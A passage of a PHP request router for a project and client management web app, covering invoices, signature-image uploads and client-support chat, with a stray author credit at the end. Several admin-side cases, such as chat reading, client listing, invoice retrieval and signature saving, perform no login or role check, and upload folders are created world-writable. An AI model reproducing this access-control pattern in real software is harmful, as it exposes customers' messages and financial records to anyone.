array_reduce($detalles, fn($sum, $d) => $sum + (($d['precio'] ?? 0) * ($d['cantidad'] ?? 0)), 0); $descuento = isset($proyecto['descuento']) ? (float)$proyecto['descuento'] : 0; $descuento_monto = $subtotal * ($descuento / 100); $total = $subtotal - $descuento_monto; $pendiente = $total - $abonado; echo json_encode([ 'success' => true, 'proyecto' => $proyecto, 'cliente' => $cliente, 'manager' => $manager, 'detalles' => $detalles, 'pagos' => $pagos, 'subtotal' => $subtotal, 'descuento' => $descuento, 'descuento_monto' => $descuento_monto, 'total' => $total, 'abonado' => $abonado, 'pendiente' => $pendiente ]); exit; break; case 'guardarFirmaCliente': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); SessionManager::start(); if (!isset($_SESSION['client_id'])) { echo json_encode(['success' => false, 'message' => 'Sesión expirada.']); exit; } $proyecto_id = $_POST['proyecto_id'] ?? null; $imagen = $_POST['imagen'] ?? null; if (!$proyecto_id || !$imagen) { echo json_encode(['success' => false, 'message' => 'Datos incompletos.']); exit; } $projectModel = new Project($pdo); $proyecto = $projectModel->find($proyecto_id); if (!$proyecto || (int)$proyecto['cliente_id'] !== (int)$_SESSION['client_id']) { echo json_encode(['success' => false, 'message' => 'Acceso no autorizado.']); exit; } $nombreArchivo = uniqid('firma_cliente_') . '.png'; $ruta = __DIR__ . '/uploads/firmas/' . $nombreArchivo; if (!is_dir(dirname($ruta))) { mkdir(dirname($ruta), 0777, true); } $imagen = preg_replace('#^data:image/\w+;base64,#i', '', $imagen); if (file_put_contents($ruta, base64_decode($imagen)) === false) { echo json_encode(['success' => false, 'message' => 'No se pudo guardar la firma.']); exit; } $stmt = $pdo->prepare('UPDATE proyectos SET firma_cliente = ? WHERE id = ?'); $stmt->execute([$nombreArchivo, $proyecto_id]); echo json_encode(['success' => true, 'archivo' => $nombreArchivo]); exit; break; case 'getClientContenidos': header('Content-Type: application/json; charset=utf-8'); SessionManager::start(); if (!isset($_SESSION['client_id'])) { echo json_encode(['success' => false, 'message' => 'Sesión expirada.']); exit; } $projectId = $_GET['proyecto_id'] ?? null; if (!$projectId) { echo json_encode(['success' => false, 'message' => 'Proyecto no especificado.']); exit; } $projectModel = new Project($pdo); $project = $projectModel->find($projectId); if (!$project || (int)$project['cliente_id'] !== (int)$_SESSION['client_id']) { echo json_encode(['success' => false, 'message' => 'Acceso no autorizado.']); exit; } $contenidos = $contenidoController->index($projectId); echo json_encode(['success' => true, 'contenidos' => $contenidos]); exit; break; case 'getClientChat': header('Content-Type: application/json; charset=utf-8'); SessionManager::start(); if (!isset($_SESSION['client_id'])) { echo json_encode(['success' => false, 'message' => 'Sesión expirada.']); exit; } echo json_encode(['success' => true, 'mensajes' => $chatModel->getMensajes($_SESSION['client_id'])]); exit; break; case 'sendClientChat': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); SessionManager::start(); if (!isset($_SESSION['client_id'])) { echo json_encode(['success' => false, 'message' => 'Sesión expirada.']); exit; } $mensaje = trim($_POST['mensaje'] ?? ''); if ($mensaje === '') { echo json_encode(['success' => false, 'message' => 'Mensaje vacío.']); exit; } $chatModel->enviarMensaje($_SESSION['client_id'], 'cliente', $mensaje); echo json_encode(['success' => true]); exit; break; case 'getChatsRecientes': header('Content-Type: application/json; charset=utf-8'); echo json_encode($chatModel->getChatsRecientes()); exit; break; case 'adminGetChat': header('Content-Type: application/json; charset=utf-8'); if (!isset($_GET['cliente_id'])) { http_response_code(400); echo json_encode(['success' => false, 'message' => 'Cliente no especificado.']); exit; } echo json_encode(['success' => true, 'mensajes' => $chatModel->getMensajes($_GET['cliente_id'])]); exit; break; case 'adminSendChat': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); $clienteId = $_POST['cliente_id'] ?? null; $mensaje = trim($_POST['mensaje'] ?? ''); if (!$clienteId || $mensaje === '') { echo json_encode(['success' => false, 'message' => 'Datos incompletos.']); exit; } $chatModel->enviarMensaje($clienteId, 'soporte', $mensaje); echo json_encode(['success' => true]); exit; break; case 'iniciarConversacion': enforceMethod('POST', true); if (isset($_POST['cliente_id'])) { $chatModel->iniciarConversacion($_POST['cliente_id']); echo json_encode(['success' => true]); exit; } break; case 'marcarLeidosAdmin': enforceMethod('POST', true); if (isset($_POST['cliente_id'])) { $chatModel->marcarLeidosAdmin($_POST['cliente_id']); echo json_encode(['success' => true]); exit; } break; case 'getAllClientesBasic': require_once 'app/Models/Client.php'; $clientModel = new Client($pdo); header('Content-Type: application/json; charset=utf-8'); echo json_encode($clientModel->allBasic()); exit; break; case 'getAllAcciones': header('Content-Type: application/json; charset=utf-8'); $acciones = $pdo->query('SELECT * FROM acciones')->fetchAll(PDO::FETCH_ASSOC); foreach ($acciones as &$a) { // Obtener cliente_id a partir del proyecto_id $stmt = $pdo->prepare('SELECT cliente_id FROM proyectos WHERE id = ?'); $stmt->execute([$a['proyecto_id']]); $a['cliente_id'] = $stmt->fetchColumn(); // Responsable if ($a['responsable_tipo'] === 'user') { $stmt = $pdo->prepare('SELECT nombre FROM users WHERE id = ?'); $stmt->execute([$a['responsable_id']]); $a['responsable_nombre'] = $stmt->fetchColumn(); } else if ($a['responsable_tipo'] === 'client') { $stmt = $pdo->prepare('SELECT nombre FROM clientes WHERE id = ?'); $stmt->execute([$a['responsable_id']]); $a['responsable_nombre'] = $stmt->fetchColumn(); } else { $a['responsable_nombre'] = null; } // Participantes $sqlP = "SELECT ap.participante_tipo, ap.participante_id, CASE WHEN ap.participante_tipo = 'user' THEN u.nombre ELSE c.nombre END as nombre FROM accion_participantes ap LEFT JOIN users u ON ap.participante_tipo = 'user' AND ap.participante_id = u.id LEFT JOIN clientes c ON ap.participante_tipo = 'client' AND ap.participante_id = c.id WHERE ap.accion_id = ?"; $stmtP = $pdo->prepare($sqlP); $stmtP->execute([$a['id']]); $participantes = $stmtP->fetchAll(PDO::FETCH_ASSOC); $a['participantes_nombres'] = array_map(function($p) { return $p['nombre']; }, $participantes); } echo json_encode($acciones); exit; break; case 'getFacturaProyecto': header('Content-Type: application/json; charset=utf-8'); $proyecto_id = $_GET['proyecto_id'] ?? null; if (!$proyecto_id) { echo json_encode(['success' => false, 'message' => 'ID de proyecto no proporcionado.']); exit; } $projectModel = new Project($pdo); $clientModel = new Client($pdo); $userModel = new User($pdo); $proyecto = $projectModel->find($proyecto_id); if (!$proyecto) { echo json_encode(['success' => false, 'message' => 'Proyecto no encontrado.']); exit; } $cliente = $clientModel->find($proyecto['cliente_id']); $manager = $userModel->find($proyecto['project_manager']); $detalles = $projectModel->detalles($proyecto_id); $pagos = $projectModel->pagos($proyecto_id); $abonado = 0; foreach ($pagos as $p) $abonado += $p['monto']; $subtotal = 0; foreach ($detalles as $d) $subtotal += $d['precio'] * $d['cantidad']; $descuento = isset($proyecto['descuento']) ? floatval($proyecto['descuento']) : 0; $descuento_monto = $subtotal * ($descuento / 100); $total = $subtotal - $descuento_monto; $pendiente = $total - $abonado; echo json_encode([ 'success' => true, 'proyecto' => $proyecto, 'cliente' => $cliente, 'manager' => $manager, 'detalles' => $detalles, 'pagos' => $pagos, 'subtotal' => $subtotal, 'descuento' => $descuento, 'descuento_monto' => $descuento_monto, 'total' => $total, 'abonado' => $abonado, 'pendiente' => $pendiente ]); exit; break; case 'guardarFirmaProyecto': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); $proyecto_id = $_POST['proyecto_id'] ?? null; $tipo = $_POST['tipo'] ?? null; // 'cliente' o 'manager' $imagen = $_POST['imagen'] ?? null; // base64 if (!$proyecto_id || !$tipo || !$imagen) { echo json_encode(['success' => false, 'message' => 'Datos incompletos.']); exit; } $nombreArchivo = uniqid('firma_') . '.png'; $ruta = __DIR__ . '/uploads/firmas/' . $nombreArchivo; if (!is_dir(__DIR__ . '/uploads/firmas/')) { mkdir(__DIR__ . '/uploads/firmas/', 0777, true); } $imagen = preg_replace('#^data:image/\w+;base64,#i', '', $imagen); $data = base64_decode($imagen); if (file_put_contents($ruta, $data) === false) { echo json_encode(['success' => false, 'message' => 'No se pudo guardar la firma.']); exit; } $campo = $tipo === 'cliente' ? 'firma_cliente' : 'firma_manager'; $stmt = $pdo->prepare("UPDATE proyectos SET $campo = ? WHERE id = ?"); $stmt->execute([$nombreArchivo, $proyecto_id]); echo json_encode(['success' => true, 'archivo' => $nombreArchivo]); exit; break; case 'login': $controller->login(); break; case 'logout': $controller->logout(); break; case 'clientPanel': $clientController->dashboard(); break; case 'clientLogout': $clientController->logout(); break; case 'clientProfile': enforceMethod('GET', true); $clientController->showProfile(); break; case 'updateClientProfile': enforceMethod('POST', true); $clientController->updateProfile(); break; case 'clientProfileJson': enforceMethod('GET', true); $clientController->showProfile(); break; case 'clientUpdateProfileJson': enforceMethod('POST', true); $clientController->updateProfile(); break; case 'register': $controller->register(); break; default: $controller->index(); break; } ?>
Coded With 💗 by
0x6ick